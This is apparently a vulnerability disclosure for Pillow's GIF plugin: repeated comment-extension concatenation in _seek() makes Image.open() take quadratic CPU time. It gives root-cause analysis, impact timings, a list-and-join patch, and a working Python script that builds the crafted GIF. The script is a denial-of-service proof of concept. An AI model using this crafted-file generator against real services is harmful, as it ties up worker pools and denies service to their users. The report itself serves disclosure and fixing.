Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()

A 1×1 GIF89a whose body is nothing but the 5-byte comment extension 21 FE 01 41 00 repeated makes this directly observable. Image.open(BytesIO(data)) on such a file, stock build at this commit, 2-CPU machine:

The control column is the identical byte stream with the extension label changed from 0xFE to 0x01; it goes through the same loop and the same self.data() reads but is discarded instead of concatenated, and scales linearly. No load() is needed and no warning or exception is raised; im.info["comment"] simply ends up holding the multi-megabyte blob.

The code, src/PIL/GifImagePlugin.py:229-281 (trimmed):

            elif s == b"!":
                s = self.fp.read(1)
                block = self.data()
                …
                elif s[0] == 254:
                    #
                    # comment extension
                    #
                    comment = b""

                    # Read this comment block
                    while block:
                        comment += block                      # :261  one copy per sub-block
                        block = self.data()

                    if "comment" in info:
                        # If multiple comment blocks in frame, separate with \n
                        info["comment"] += b"\n" + comment    # :266  one copy per extension
                    else:
                        info["comment"] = comment
                    s = b""
                    continue
                …
                while self.data():                            # every other extension: read and drop
                    pass

self.data() (:97-102) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two += lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of info["comment"] once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).

This runs during Image.open(): _open() ends with self._seek(0) (:135), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. Image._decompression_bomb_check is not involved (the image is 1×1), and unlike PNG text chunks (PngImagePlugin.MAX_TEXT_CHUNK / MAX_TEXT_MEMORY) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via seek() / n_frames.

With both += sites replaced by list-append and a single b"".join() (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.

Impact

Anyone who can get a GIF to a service that calls PIL.Image.open() on it — avatar/media uploads, thumbnailers, format sniffing, anything using ImageOps/thumbnail() on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in im.info["comment"]), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).

This is the same shape as CVE-2021-28677 ("EPS DOS on _open", docs/releasenotes/8.2.0.rst), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.

The quadratic accumulation was introduced in b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", 2018-11-27), first released in Pillow 5.4.0.

Reproducing

repro is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.

It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by size/5 copies of the 5-byte extension 21 <label> 01 41 00, then a minimal 1×1 image and the trailer:

• comments: label 0xFE. Each extension is a 1-byte comment, so _seek() appends each one to info["comment"] with += (GifImagePlugin.py:266).
• control: label 0x01 (plain-text extension). The bytes are the same apart from the label. _seek() reads them through the same loop and the same self.data() calls, then throws them away.

The script times Image.open(io.BytesIO(data)) on each file. It does not call load(), because _open() already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:

2 MB GIF   control (0x01):   0.16 s   comments (0xFE):   5.14 s
4 MB GIF   control (0x01):   0.26 s   comments (0xFE):  33.53 s
doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2)
4 MB comment GIF took x129 as long as the same-size control
BUG

For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints BUG when all three of these hold:

• doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×;
• the 4 MB comment file takes at least 20× as long as its control;
• the 4 MB comment file takes at least 8 s.

Otherwise it prints OK. The run is deterministic, CPU-bound on one core, and takes about 40 s.

Suggested fix

The attached patch changes GifImageFile._seek() in src/PIL/GifImagePlugin.py to accumulate comment data in a local list instead of with bytes concatenation, and to join it once when the frame's info is committed:

@@ def _seek(self, frame: int, update_image: bool = True) -> None:
         info: dict[str, Any] = {}
+        comment_blocks: list[bytes] | None = None
         frame_transparency = None
@@
                 elif s[0] == 254:
                     #
                     # comment extension
                     #
-                    comment = b""
+                    if comment_blocks is None:
+                        comment_blocks = []
+                    else:
+                        # If multiple comment blocks in frame, separate with \n
+                        comment_blocks.append(b"\n")
 
                     # Read this comment block
                     while block:
-                        comment += block
+                        comment_blocks.append(block)
                         block = self.data()
-
-                    if "comment" in info:
-                        # If multiple comment blocks in frame, separate with \n
-                        info["comment"] += b"\n" + comment
-                    else:
-                        info["comment"] = comment
                     s = b""
                     continue
@@
-        if info.get("comment"):
-            self.info["comment"] = info["comment"]
+        if comment_blocks:
+            comment = b"".join(comment_blocks)
+            if comment:
+                self.info["comment"] = comment
         for k in ["duration", "extension"]:

This removes the quadratic copying at both sites (:261 per sub-block and :266 per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints BUG on a patched build. The resulting info["comment"] is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including Tests/images/multiple_comments.gif → b"Test comment 1\nTest comment 2" — and Tests/test_file_gif.py passes unchanged. The GIF writer (_write_local_header / _save) is not affected.

The patch deliberately adds no size cap. Unlike PNG zTXt, which PngImagePlugin.MAX_TEXT_CHUNK guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a MAX_COMMENT_SIZE check inside the sub-block loop is a small policy addition on top of this patch.

The patch

GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..05007d2ac 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):
         palette: ImagePalette.ImagePalette | Literal[False] | None = None
 
         info: dict[str, Any] = {}
+        comment_blocks: list[bytes] | None = None
         frame_transparency = None
         interlace = None
         frame_dispose_extent = None
@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):
                     #
                     # comment extension
                     #
-                    comment = b""
+                    if comment_blocks is None:
+                        comment_blocks = []
+                    else:
+                        # If multiple comment blocks in frame, separate with \n
+                        comment_blocks.append(b"\n")
 
                     # Read this comment block
                     while block:
-                        comment += block
+                        comment_blocks.append(block)
                         block = self.data()
-
-                    if "comment" in info:
-                        # If multiple comment blocks in frame, separate with \n
-                        info["comment"] += b"\n" + comment
-                    else:
-                        info["comment"] = comment
                     s = b""
                     continue
                 elif s[0] == 255 and frame == 0 and block is not None:
@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):
                 )
             ]
 
-        if info.get("comment"):
-            self.info["comment"] = info["comment"]
+        if comment_blocks:
+            comment = b"".join(comment_blocks)
+            if comment:
+                self.info["comment"] = comment
         for k in ["duration", "extension"]:
             if k in info:
                 self.info[k] = info[k]

The reproducer

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
"""Quadratic CPU in Image.open() on GIF comment extensions.

GifImageFile._seek() appends every comment extension to info["comment"] with
bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated
comment each time.  Image.open() runs _seek(0) eagerly, so merely opening a GIF
made of many tiny comment extensions costs O(size^2) CPU.

We time Image.open() on two files of identical length:
  ATTACK  - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)
  CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()
            reads through the same loop but discards instead of concatenating.
A linear parser would take ~2x longer when the file doubles, and the two files
would cost about the same.
"""
import io
import time

from PIL import Image

HEADER = b"GIF89a" + b"\x01\x00\x01\x00" + b"\x00\x00\x00"  # 1x1 screen, no palette
IMAGE = b",\x00\x00\x00\x00\x01\x00\x01\x00\x00" + b"\x02\x02\x44\x01\x00"  # 1x1 frame
TRAILER = b";"


def make_gif(size: int, label: int) -> bytes:
    # each extension is `21 <label> 01 'A' 00`: one 1-byte sub-block, then terminator
    extension = b"!" + bytes([label]) + b"\x01A\x00"
    return HEADER + extension * (size // 5) + IMAGE + TRAILER


def time_open(data: bytes) -> float:
    start = time.perf_counter()
    with Image.open(io.BytesIO(data)) as im:  # no load(): the cost is in open()
        elapsed = time.perf_counter() - start
        assert im.size == (1, 1)
    return elapsed


MB = 1 << 20
attack, control = {}, {}
for size in (2 * MB, 4 * MB):
    control[size] = time_open(make_gif(size, 0x01))
    attack[size] = time_open(make_gif(size, 0xFE))
    print(f"{size // MB} MB GIF   control (0x01): {control[size]:6.2f} s   "
          f"comments (0xFE): {attack[size]:6.2f} s", flush=True)

growth = attack[4 * MB] / attack[2 * MB]
vs_control = attack[4 * MB] / control[4 * MB]
print(f"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)")
print(f"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control")

# BUG: super-linear growth, far slower than the control, and seconds of CPU per open()
print("BUG" if growth >= 3 and vs_control >= 20 and attack[4 * MB] >= 8 else "OK")